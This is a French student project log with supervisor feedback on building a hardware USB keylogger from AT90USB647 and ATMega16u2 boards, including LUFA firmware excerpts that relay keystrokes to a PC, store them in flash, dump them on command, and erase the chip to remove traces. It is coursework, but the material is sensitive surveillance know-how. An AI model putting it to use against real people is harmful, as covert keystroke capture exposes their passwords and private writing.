uint8_t KeyCode1 = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
...
uint8_t KeyCode5 = Serial_ReceiveByte();
}
</syntaxhighlight>
Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.

De plus, j'ai ajouté les 5 autres KeyCode qui pourrait être renseignés via le rapport clavier sur l'AT90.

On peut voir ci-dessous la nouvelle fonction de création et d'envoi de rapport clavier de l'AT90. Tout d'abord, on enregistre tout les codes à envoyé dans un tableau de 7 octets. Ainsi on a juste à utiliser la fonction <code>Serial_SendData</code> pour envoyer en une fois tout les codes. Ensuite on vérifie si on doit passer à la page suivante dans la flash ou non, et puis on vérifie si on doit enregistrer ou non le buffer de la flash dans la mémoire, pour finir par remplir le buffer de la flash.
<syntaxhighlight lang="c" line="1">
/* Serial communication */
uint8_t Data_to_Send[CODES_PACKET_SIZE];

Data_to_Send[0] = KeyboardReport.Modifier;
Data_to_Send[1] = KeyboardReport.KeyCode[0];
Data_to_Send[2] = KeyboardReport.KeyCode[1];
Data_to_Send[3] = KeyboardReport.KeyCode[2];
Data_to_Send[4] = KeyboardReport.KeyCode[3];
Data_to_Send[5] = KeyboardReport.KeyCode[4];
Data_to_Send[6] = KeyboardReport.KeyCode[5];

while(!Serial_IsSendReady());
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);
while(!Serial_IsSendComplete());
_delay_ms(10);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size >= FLASH_PAGE_INDEX_MAX) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Checking if the flash buffer is full */
if (*flash_buffer_i == FLASH_BUFFER_SIZE) {
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
if (*page_buffer_size != 0)
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

memcpy(&(data[*page_buffer_size]), flash_buffer, FLASH_BUFFER_SIZE);

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

memset(flash_buffer, 0, FLASH_BUFFER_SIZE);
*page_buffer_size += FLASH_BUFFER_SIZE;
*flash_buffer_i = 0;
}

/* Writing the Modifier and Keycodes in the flash_buffer */
for (int i = 0; i < CODES_PACKET_SIZE; i++) flash_buffer[(*flash_buffer_i)++] = Data_to_Send[i];
</syntaxhighlight>

ReX : Le test <code>(*flash_buffer_i == FLASH_BUFFER_SIZE)</code> est joueur. Ca passe parce que tu as des paquets de 7 octets pour une taille de bloc de 63 octets. Mais si quelqu'un veut agrandir la taille du bloc ça peut faire mal. Mets une constante pour la taille des paquets (7) et définit la taille de bloc comme un multiple de la taille des paquets :
#define CODES_PACKET_SIZE 7
#define FLASH_BUFFER_SIZE (9*CODES_PACKET_SIZE)

Benjamin : Pas de souci, j'en ai profité aussi pour modifier les autres variables concernant le parcours du buffer de la flash, comme la taille des valeurs à envoyer, la condition dans les boucles et la longueur à copier que l'on renseigne dans la fonction <code>memcpy</code>.

ReX : Parfait. Il te reste une condition à redresser <code>(*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1))</code>. Cela n'arrivera jamais, le plus proche de <code>FLASH_PAGE_INDEX_MAX</code> sera 4*63=252 après cela saute à 5*63=315. Il vaudrait mieux que tu testes <code>(*page_buffer_size+FLASH_BUFFER_SIZE>=FLASH_PAGE_INDEX_MAX)</code> tu ne crois pas ?

Benjamin : Je comprends votre inquiétude. Dans les constantes, j'ai mis <code>FLASH_PAGE_INDEX_MAX</code> à 251 en pensant initialement que j'allais m'en servir comme l'indice maximal que la page pourra atteindre, d'où le <code>+ 1</code> qui nous permettra de vérifier l'indice <code>*page_buffer_size</code> qui sera à 252 quand il aura été rempli 4 fois par <code>flash_buffer</code>. Je vais rajouter une condition avec une comparaison <code>>=</code> au cas où les constantes serait mené à changer dans le futur.

Benjamin : Dans ma logique, on n'a pas besoin de vérifié de vérifié <code>*page_buffer_size+FLASH_BUFFER_SIZE</code> car <code>*page_buffer_size</code> suffit à savoir si l'on doit changer de page ou non. Sauf qu'il ne le saura qu'à la prochaine touche tapé, dans la condition où : <code>flash_buffer</code> était plein précédement et a alors incrémenté <code>*page_buffer_size</code> par <code>FLASH_BUFFER_SIZE</code>, on aurait donc <code>*page_buffer_size</code> qui vaudrait 252 si précedement il était à 189 (dans la condition que <code>FLASH_BUFFER_SIZE</code> soit égale à 63.). Je sais pas si c'est très claire = /

Concernant l'envoi des touches mémorisés qui se trouvent dans la fonction <code>Flash_Task</code> :
<syntaxhighlight lang="c">
void Flash_Task(int *page_actual, int *page_buffer_size, uint8_t *flash_buffer, int *flash_buffer_i)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = 0;
*page_buffer_size = 0;
memset(flash_buffer, 0, FLASH_BUFFER_SIZE);
*flash_buffer_i = 0;
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0xC7, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x94, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x80, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x9A, NULL, 0);
}

if (Command_Byte == SERIAL_FLASH_GET)
{
int address, byte;
uint8_t Data_to_Send[CODES_PACKET_SIZE];
for (address = 0; address <= (*page_actual); address++)
{
uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (byte = 0;
byte < (address == (*page_actual) ? *page_buffer_size : FLASH_PAGE_INDEX_MAX);
byte += CODES_PACKET_SIZE)
{
memcpy(Data_to_Send, &(data[byte]), CODES_PACKET_SIZE);

while (!Serial_IsSendReady());
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);
while (!Serial_IsSendComplete());
_delay_ms(10);
}
}
for (byte = 0; byte < (*flash_buffer_i); byte += CODES_PACKET_SIZE)
{
memcpy(Data_to_Send, &(flash_buffer[byte]), CODES_PACKET_SIZE);

while (!Serial_IsSendReady());
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);
while (!Serial_IsSendComplete());
_delay_ms(10);
}
}
}
}
</syntaxhighlight>

ReX : Code bien factorisé. Tu as récupéré les commandes pour le reset de la flash dans la documentation des AT45DB641E ? Le reset n'est pas vraiment nécessaire sauf à vouloir effacer ses traces.

Si l'octet de commande est celui du reset de la mémoire, on remet à zéro tout les indices concernant la mémoire et le buffer de la flash. Puis on appelle une commande de la flash qui consiste à réinitialiser toute la puce.

Lorsque la commande est celui de la récupération de la mémoire, on lit et envoie toutes les données des pages mémoires dans la flash, puis on envoie aussi les données qui se trouve potentiellement dans le buffer de la flash.

Au final, dans le programme de l'AT90, on se retrouve avec deux nouvelles variables <code>flash_buffer</code> qui est le tableau de taille 63 (capable de stocker 9 entrées du clavier) et <code>flash_buffer_i</code> qui nous permet de suivre l'évolution du remplissage du buffer. De plus, on peut voir l'ajout d'un délai de 10 millisecondes qui permet d'espacer chaque envoie en plus de la fonction <code>Serial_IsSendComplete</code> afin de ne pas avoir un caractère qui saute à la réception.

Concernant le programme de l'ATMega, pas grand chose n'a changé si ce n'est la façon de recevoir les octets de données des touches tapées :

<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->Modifier = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[0] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[1] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[2] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[3] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[4] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[5] = Serial_ReceiveByte();
}
}
</syntaxhighlight>

On attend à partir de la fonction <code>Serial_IsCharReceived</code> qu'un octet soit sur le flux de la liaison série. Puis on récupère l'octet via la fonction <code>Serial_ReceiveByte</code>. Assez simple finalement ! = )

ReX : D'après ton schéma des connexions de connecteurs je crains que l'AT90 soit en 3.3V et l'ATMega en 5V. Ca pourrait provoquer des problème avec la connexion UART. Tu peux rajouter sur le schéma la position des cavaliers pour que je sois sûr ?

ReX : Non, les deux microcontrôleurs sont bien alimentés en 3.3V. C'est parfait.



==== Significations des leds ====
[[Fichier:Keylogger schéma connexion uP.png|vignette|498x498px]]
Du côté de l'ATMega :

Au démarrage, la LED 16 s'allume puis la LED 17 pour informer les étapes d'initialisation de l'ATMega. Elles s'éteignent et lorsque la communication USB est prête, la LED 16 reste allumé.

La LED 15 s'allume à chaque fois qu'un octet est transmis de la part de l'AT90, et la LED 14 s'allume à chaque fois qu'on envoie un octet de commande vers l'AT90 pour contrôler la flash AT45DB641E.

Du côté de l'AT90USB647 :

Au démarrage les deux leds LED 18 puis LED 19 s'allume pour informer les étapes d'initialisation de l'AT90, puis la LED 19 est la seule à rester allumé à la fin afin d'informer que la fonctionnalité USB est prête. On peut donc brancher un clavier dessus.

Dès qu'on a connecter un périphérique via le port USB, la LED 19 s'éteint et agît pour signaler lorsqu'une touche modificatrice (Shift, Control, Alt, etc...) est appuyé, et la LED 18 s'allume pour indiquer que l'AT90 est prêt à recevoir des rapports du clavier branché.

Dès la première touche tapé, la LED 18 n'agît désormais que pour indiquer lorsqu'une touche est tapé.

==== Potentiels problèmes ====
Il se peut qu'il y ait un problème lorsqu'on test les programmes. On aperçoit des caractères écrits sans qu'on le veuille.

Personnellement, je réinitialise d'abord l'AT90USB647 via le bouton S12, puis ensuite l'ATMega via le bouton S13. Puis normalement, tout fonctionne !

= Documents Rendus =
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]

ReX : Erreur dans la fonction <code>LEDs_ToggleLEDs</code>.

ReX : Erreur dans le <code>makefile</code>, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction <code>main</code> :
CLKSEL0 = 0b00010101; // sélection de l'horloge externe <ref name=":0" group="Code associé" />
CLKSEL1 = 0b00001111; // minimum de 8Mhz
CLKPR = 0b10000000; // modification du diviseur d'horloge (CLKPCE=1)
CLKPR = 0; // 0 pour pas de diviseur (diviseur de 1)
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]

Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]

Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]

=== Liste des références vidéo ===
<references />

=== Liste des références image ===
<references group="Image" />

=== Liste des références code ===
<references group="Code associé" />

Fichier:2023 EC5 Keylogger.zip

2023-08-15T15:36:42Z

Bnguyen1 : Bnguyen1 a téléversé une nouvelle version de Fichier:Keylogger.zip

== Description ==
Programmes Keylogger pour l'AT90USB647 et l'ATMEGA16U2

SE4 2022/2023 EC5

2023-08-15T15:35:02Z

Bnguyen1 : /* Documents Rendus */

= Objectifs =

Il vous est demandé de :
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,
** une mémoire flash pour pouvoir sauver les touches capturées ;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.

= Matériel nécessaire =

Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.

[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]

Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.

Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en <code>.fzz</code>).

Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].

<div style="clear: both;" />

= Travail réalisé =

=== Semaine 1 ===
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.

J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.

Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA.

J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.

Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !

Vidéo : [[:Fichier:EC5-Semaine1.mp4]]<ref>Vidéo rapport semaine 1</ref>

ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.

ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.

ReX : La fonction de délai est <code>_delay_ms</code>, le fichier d'inclusion nécessaire est <code>util/delay.h</code>.

=== Semaine 2 ===

L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.

ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.

ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...
[[Fichier:Image.png|vignette]]
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) <ref group="Image">[[:Fichier:Keyboard problem2.jpg]]</ref>, mais le périphérique reste inconnu pour ma machine.

Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (<nowiki>https://youtu.be/Vd0F0XHzchY</nowiki>).

ReX : Tu tentes de faire le projet sous windows ?

Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.

ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec <code>dfu-programmer</code>.

ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?

Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.

Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]<ref>[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]</ref>.

ReX : Heu je te vois taper sur ton clavier ?

Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.

ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !

=== Semaine 3 ===
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance.

Fichier : [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]

Question : Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel.

Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.

=== Semaine 4 ===
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.

ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.

Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].

''MassStorage :'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.

ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.

Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.

ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.

'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).

ReX : Oui :)

''KeyboardHost :'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.

ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.

Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.

ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.

Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.

ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.

Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?

ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...

<s>J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :</s>

Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.

J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.

D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.

ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.

<syntaxhighlight lang="c">
// Et ça m'affiche le caractère A sur l'écran LED
putchar('A');
</syntaxhighlight>
[[Fichier:Arduino-LCD & At90.jpg|centré|vignette|Montage Arduino/LCD & KeyLogger]]
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.

ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?

Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.

ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.

'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)

J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.

Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]

ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.

=== Semaine 5 ===

==== Mémoire ====
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]<ref>Vidéo test mémoire par commande</ref>.

ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.

Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.

Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]<ref>Test mémoire en écriture et lecture</ref>.

On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].

J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.

ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).

==== Gestion clavier USB ====
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]<ref>Vidéo démo du programme KeyboardHost sur l'AT90</ref>.

ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.

On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.

Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur<ref name=":0" group="Code associé">Configuration de l'horloge</ref>. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].

ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).

En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]<ref>Vidéo AT90 et Arduino/LCD qui récupère les caractères</ref>.

ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.

[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]

Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]<ref>Vidéo démo Clavier -> AT90 (USART) -> ATMEGA -> PC</ref>. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).

On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.

ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).

Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.

ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.

==== Keylogger ====
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.

ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.

Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :
<syntaxhighlight lang="c" line="1">
int main(void)
{
CLKPR = (1<<CLKPCE);
CLKPR = 0;
MCUCR |= (1<<JTD);
MCUCR |= (1<<JTD);

SetupHardware();

puts_P(PSTR(ESC_FG_CYAN "Keyboard HID Host Demo running.\r\n" ESC_FG_WHITE));

LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);
GlobalInterruptEnable();

/* Variable for the AT45DB641E */
int page_start = 0;
int page_actual = page_start;
int page_buffer_size = 0;

for (;;)
{
KeyboardHost_Task(&page_actual, &page_buffer_size);
Flash_Task(&page_start, &page_actual, &page_buffer_size);
USB_USBTask();
}
}

// ...

void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
// ...
